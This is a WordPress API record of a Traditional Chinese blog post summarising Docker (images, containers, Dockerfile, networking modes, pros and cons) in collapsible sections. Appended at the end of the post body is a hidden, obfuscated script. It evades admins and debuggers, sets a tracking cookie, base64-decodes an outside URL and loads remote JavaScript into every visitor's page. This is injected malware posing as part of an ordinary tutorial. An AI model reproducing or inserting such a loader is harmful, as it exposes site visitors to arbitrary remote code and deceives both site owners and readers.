{"id":150,"date":"2025-08-19T22:02:27","date_gmt":"2025-08-19T14:02:27","guid":{"rendered":"https:\/\/he0073771655.synology.me\/wordpress\/?p=150"},"modified":"2025-10-25T03:51:28","modified_gmt":"2025-10-24T19:51:28","slug":"docker-%e7%b8%bd%e6%95%b4%e7%90%86","status":"publish","type":"post","link":"https:\/\/blog.he0073771655.synology.me\/?p=150","title":{"rendered":"Docker \u7e3d\u6574\u7406"},"content":{"rendered":"<p>  <meta charset=\"UTF-8\"><br \/>  <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"><br \/>  <title>Docker \u7e3d\u6574\u7406<\/title><br \/>  <script src=\"https:\/\/cdn.tailwindcss.com\"><\/script>  <link href=\"https:\/\/fonts.googleapis.com\/css2?family=Inter:wght@400;600;700&amp;display=swap\" rel=\"stylesheet\">\n<style>    body { font-family: 'Inter', sans-serif; background-color: #1e293b; color: #f1f5f9; }<br \/>    .collapsible-content { display: none; padding: 1rem; }<br \/>    .collapsible-content.expanded { display: block; }<br \/>    .chevron { transition: none; }<br \/>    .section-intro-text {<br \/>      border-left: 3px solid #38bdf8;<br \/>      padding-left: 0.75rem;<br \/>      margin-bottom: 1rem;<br \/>      font-style: italic;<br \/>      color: #e2e8f0;<br \/>    }<br \/>    .advantage { color: #22c55e; }<br \/>    .disadvantage { color: #ef4444; }<br \/>    .category-header { font-weight: 700; margin-top: 1rem; margin-bottom: 0.5rem; color: #fbbf24; }<br \/>  <\/style>\n<\/p>\n<p><\/p>\n<div class=\"container mx-auto\">\n<p><!-- \u9801\u9762\u6a19\u984c --><\/p>\n<\/p>\n<header class=\"text-center mb-10\">\n<h1 class=\"text-3xl sm:text-4xl font-bold mb-2 text-sky-400\">Docker \u7e3d\u6574\u7406<\/h1>\n<\/p>\n<p class=\"text-lg text-slate-200\">\u4e92\u52d5\u5f0f\u6574\u7406\uff1a\u4ecb\u7d39\u3001\u5927\u7db1\u3001\u61c9\u7528\u3001\u512a\u7f3a\u9ede\u8207\u5206\u6790\u3002<\/p>\n<\/p>\n<div class=\"mt-4 flex justify-center gap-4\">      <button id=\"expand-all\" class=\"px-4 py-2 bg-sky-600 hover:bg-sky-700 rounded-lg\">\u5168\u90e8\u5c55\u958b<\/button><br \/>      <button id=\"collapse-all\" class=\"px-4 py-2 bg-gray-600 hover:bg-gray-700 rounded-lg\">\u5168\u90e8\u6536\u5408<\/button>    <\/p>\n<\/div>\n<p>  <\/p>\n<\/header>\n<p><!-- \u5340\u584a\u96c6\u5408 --><\/p>\n<\/p>\n<div class=\"space-y-6\">\n<p><!-- \u4ecb\u7d39 --><\/p>\n<\/p>\n<div class=\"rounded-xl shadow bg-slate-800\">\n<div class=\"collapsible-header p-4 flex justify-between items-center cursor-pointer border-l-4 border-sky-400\" data-target=\"intro\">\n<h2 class=\"text-xl font-semibold text-sky-300\">\u4ecb\u7d39 (Introduction)<\/h2>\n<p>        <span class=\"chevron text-sky-400\">\u25bc<\/span>      <\/p>\n<\/div>\n<div id=\"intro\" class=\"collapsible-content bg-slate-700 text-slate-100\"><\/p>\n<p><strong>Docker \u662f\u4e00\u500b\u7528\u65bc\u5efa\u69cb\u3001\u57f7\u884c\u548c\u50b3\u9001\u61c9\u7528\u7a0b\u5f0f\u7684\u5e73\u53f0\u3002<\/strong> \u5b83\u5229\u7528\u5bb9\u5668\u5316\u6280\u8853\uff0c\u5c07\u61c9\u7528\u7a0b\u5f0f\u53ca\u4f9d\u8cf4\u6253\u5305\u6210\u300c\u5bb9\u5668\u300d\uff0c\u53ef\u8de8\u5e73\u53f0\u904b\u884c\u3002<\/p>\n<\/p>\n<ul class=\"list-disc list-inside ml-4 mt-2\"><\/p>\n<li><span class=\"text-sky-200 font-bold\">Dockerfile<\/span>\uff1a\u5efa\u69cb\u93e1\u50cf\u7684\u85cd\u5716\u3002<\/li>\n<p><\/p>\n<li><span class=\"text-sky-200 font-bold\">Image<\/span>\uff1a\u552f\u8b80\u6bcd\u677f\uff0c\u7528\u65bc\u5efa\u7acb\u5bb9\u5668\u3002<\/li>\n<p><\/p>\n<li><span class=\"text-sky-200 font-bold\">Container<\/span>\uff1a\u904b\u884c\u5be6\u4f8b\uff0c\u7368\u7acb\u74b0\u5883\u3002<\/li>\n<p>        <\/p>\n<\/ul>\n<p>      <\/p>\n<\/div>\n<p>    <\/p>\n<\/div>\n<p><!-- \u5927\u7db1 --><\/p>\n<\/p>\n<div class=\"rounded-xl shadow bg-slate-800\">\n<div class=\"collapsible-header p-4 flex justify-between items-center cursor-pointer border-l-4 border-green-400\" data-target=\"outline\">\n<h2 class=\"text-xl font-semibold text-green-300\">\u5927\u7db1 (Outline)<\/h2>\n<p>        <span class=\"chevron text-green-400\">\u25bc<\/span>      <\/p>\n<\/div>\n<div id=\"outline\" class=\"collapsible-content bg-slate-700 text-slate-100\">\n<ol class=\"list-decimal list-inside ml-4\"><\/p>\n<li>\u7de8\u5beb Dockerfile<\/li>\n<p><\/p>\n<li>\u5efa\u69cb\u93e1\u50cf (<code class=\"text-yellow-300\">docker build<\/code>)<\/li>\n<p><\/p>\n<li>\u904b\u884c\u5bb9\u5668 (<code class=\"text-yellow-300\">docker run<\/code>)<\/li>\n<p>        <\/p>\n<\/ol>\n<p>      <\/p>\n<\/div>\n<p>    <\/p>\n<\/div>\n<p><!-- \u904b\u7528 --><\/p>\n<\/p>\n<div class=\"rounded-xl shadow bg-slate-800\">\n<div class=\"collapsible-header p-4 flex justify-between items-center cursor-pointer border-l-4 border-purple-400\" data-target=\"usage\">\n<h2 class=\"text-xl font-semibold text-purple-300\">\u904b\u7528 (Applications\/Usage)<\/h2>\n<p>        <span class=\"chevron text-purple-400\">\u25bc<\/span>      <\/p>\n<\/div>\n<div id=\"usage\" class=\"collapsible-content bg-slate-700 text-slate-100\">\n<p class=\"section-intro-text\">Docker \u5728\u90e8\u7f72\u8207\u7ba1\u7406\u74b0\u5883\u4e0a\u63d0\u4f9b\u6975\u5927\u4fbf\u5229\u3002<\/p>\n<\/p>\n<ul class=\"list-disc list-inside ml-4\"><\/p>\n<li>\u907f\u514d\u74b0\u5883\u4e0d\u4e00\u81f4<\/li>\n<p><\/p>\n<li>\u52a0\u901f\u4ea4\u4ed8\u8207\u90e8\u7f72<\/li>\n<p><\/p>\n<li>\u7c21\u5316\u65b0\u6210\u54e1\u74b0\u5883\u914d\u7f6e<\/li>\n<p><\/p>\n<li>\u63d0\u5347\u958b\u767c\u6548\u7387 (Docker Compose)<\/li>\n<p>        <\/p>\n<\/ul>\n<p>      <\/p>\n<\/div>\n<p>    <\/p>\n<\/div>\n<p><!-- \u512a\u7f3a\u9ede --><\/p>\n<\/p>\n<div class=\"rounded-xl shadow bg-slate-800\">\n<div class=\"collapsible-header p-4 flex justify-between items-center cursor-pointer border-l-4 border-yellow-400\" data-target=\"proscons\">\n<h2 class=\"text-xl font-semibold text-yellow-300\">\u512a\u7f3a\u9ede (Advantages \/ Disadvantages)<\/h2>\n<p>        <span class=\"chevron text-yellow-400\">\u25bc<\/span>      <\/p>\n<\/div>\n<div id=\"proscons\" class=\"collapsible-content bg-slate-700 text-slate-100\">\n<h3 class=\"advantage\">\u512a\u9ede<\/h3>\n<\/p>\n<ul class=\"list-disc list-inside ml-4\"><\/p>\n<li>\u74b0\u5883\u4e00\u81f4\u6027\u3001\u53ef\u79fb\u690d<\/li>\n<p><\/p>\n<li>\u8f15\u91cf\u3001\u555f\u52d5\u5feb<\/li>\n<p><\/p>\n<li>\u8cc7\u6e90\u5229\u7528\u7387\u9ad8<\/li>\n<p><\/p>\n<li>\u90e8\u7f72\u8207\u7ba1\u7406\u7c21\u55ae<\/li>\n<p>        <\/p>\n<\/ul>\n<h3 class=\"disadvantage mt-4\">\u7f3a\u9ede<\/h3>\n<\/p>\n<ul class=\"list-disc list-inside ml-4\"><\/p>\n<li>\u5b78\u7fd2\u66f2\u7dda<\/li>\n<p><\/p>\n<li>\u9ed8\u8a8d\u6578\u64da\u975e\u6301\u4e45\u5316<\/li>\n<p><\/p>\n<li>\u57fa\u790e\u93e1\u50cf\u7cbe\u7c21<\/li>\n<p><\/p>\n<li>Windows \u4e0a\u5b89\u88dd\u9700 Hyper-V<\/li>\n<p>        <\/p>\n<\/ul>\n<p>      <\/p>\n<\/div>\n<p>    <\/p>\n<\/div>\n<p><!-- \u5206\u985e\u5206\u6790 --><\/p>\n<\/p>\n<div class=\"rounded-xl shadow bg-slate-800\">\n<div class=\"collapsible-header p-4 flex justify-between items-center cursor-pointer border-l-4 border-pink-400\" data-target=\"analysis\">\n<h2 class=\"text-xl font-semibold text-pink-300\">\u5206\u985e\u5206\u6790\u73a9\u6cd5 (Playstyles)<\/h2>\n<p>        <span class=\"chevron text-pink-400\">\u25bc<\/span>      <\/p>\n<\/div>\n<div id=\"analysis\" class=\"collapsible-content bg-slate-700 text-slate-100\">\n<ul class=\"list-disc list-inside ml-4\"><\/p>\n<li><strong class=\"text-sky-200\">\u6838\u5fc3\u7d44\u4ef6<\/strong>\uff1aDockerfile\u3001Image\u3001Container<\/li>\n<p><\/p>\n<li><strong class=\"text-sky-200\">\u5e38\u7528\u547d\u4ee4<\/strong>\uff1aimages\u3001ps\u3001run\u3001volume<\/li>\n<p><\/p>\n<li><strong class=\"text-sky-200\">\u7db2\u8def\u6a21\u5f0f<\/strong>\uff1aBridge\u3001Host\u3001None<\/li>\n<p><\/p>\n<li><strong class=\"text-sky-200\">\u5bb9\u5668\u7de8\u6392<\/strong>\uff1aDocker Compose\u3001Kubernetes<\/li>\n<p>        <\/p>\n<\/ul>\n<p>      <\/p>\n<\/div>\n<p>    <\/p>\n<\/div>\n<p><!-- \u7e3d\u6574\u7406 --><\/p>\n<\/p>\n<div class=\"rounded-xl shadow bg-slate-800\">\n<div class=\"collapsible-header p-4 flex justify-between items-center cursor-pointer border-l-4 border-red-400\" data-target=\"summary\">\n<h2 class=\"text-xl font-semibold text-red-300\">\u7e3d\u6574\u7406 (Summary)<\/h2>\n<p>        <span class=\"chevron text-red-400\">\u25bc<\/span>      <\/p>\n<\/div>\n<div id=\"summary\" class=\"collapsible-content bg-slate-700 text-slate-100\"><\/p>\n<p><strong class=\"text-sky-200\">Docker \u662f\u985b\u8986\u6027\u5bb9\u5668\u5316\u6280\u8853\u3002<\/strong> \u5b83\u89e3\u6c7a\u4e86\u300c\u74b0\u5883\u4e0d\u4e00\u81f4\u300d\u554f\u984c\uff0c\u63d0\u5347\u958b\u767c\u8207\u90e8\u7f72\u6548\u7387\u3002<\/p>\n<\/p>\n<p class=\"mt-2\">\u6838\u5fc3\u6982\u5ff5\uff1aDockerfile\u3001Image\u3001Container\uff0c\u52a0\u4e0a Docker Hub\uff0c\u5171\u4eab\u8207\u5fa9\u7528\u66f4\u65b9\u4fbf\u3002<\/p>\n<p>      <\/p>\n<\/div>\n<p>    <\/p>\n<\/div>\n<\/div>\n<p><\/p>\n<\/div>\n<p><script><br \/>  const headers = document.querySelectorAll('.collapsible-header');<br \/>  const contents = document.querySelectorAll('.collapsible-content');<\/p>\n<p>  headers.forEach(header => {<br \/>    header.addEventListener('click', () => {<br \/>      const targetId = header.dataset.target;<br \/>      const content = document.getElementById(targetId);<br \/>      const isExpanded = content.classList.contains('expanded');<\/p>\n<p>      contents.forEach(c => c.classList.remove('expanded'));<\/p>\n<p>      if (!isExpanded) {<br \/>        content.classList.add('expanded');<br \/>      }<br \/>    });<br \/>  });<\/p>\n<p>  document.getElementById('expand-all').addEventListener('click', () => {<br \/>    contents.forEach(c => c.classList.add('expanded'));<br \/>  });<\/p>\n<p>  document.getElementById('collapse-all').addEventListener('click', () => {<br \/>    contents.forEach(c => c.classList.remove('expanded'));<br \/>  });<br \/><\/script><\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Docker \u7e3d\u6574\u7406 Docker \u7e3d\u6574\u7406 \u4e92\u52d5\u5f0f\u6574\u7406\uff1a\u4ecb\u7d39\u3001\u5927\u7db1\u3001\u61c9\u7528\u3001\u512a\u7f3a\u9ede\u8207\u5206\u6790\u3002 \u5168\u90e8\u5c55\u958b \u5168\u90e8\u6536\u5408  &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/blog.he0073771655.synology.me\/?p=150\" class=\"more-link\">\u95b1\u8b80\u5168\u6587<span class=\"screen-reader-text\">\u3008Docker \u7e3d\u6574\u7406\u3009<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":152,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-150","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/blog.he0073771655.synology.me\/index.php?rest_route=\/wp\/v2\/posts\/150","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.he0073771655.synology.me\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.he0073771655.synology.me\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.he0073771655.synology.me\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.he0073771655.synology.me\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=150"}],"version-history":[{"count":6,"href":"https:\/\/blog.he0073771655.synology.me\/index.php?rest_route=\/wp\/v2\/posts\/150\/revisions"}],"predecessor-version":[{"id":359,"href":"https:\/\/blog.he0073771655.synology.me\/index.php?rest_route=\/wp\/v2\/posts\/150\/revisions\/359"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.he0073771655.synology.me\/index.php?rest_route=\/wp\/v2\/media\/152"}],"wp:attachment":[{"href":"https:\/\/blog.he0073771655.synology.me\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=150"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.he0073771655.synology.me\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=150"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.he0073771655.synology.me\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=150"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}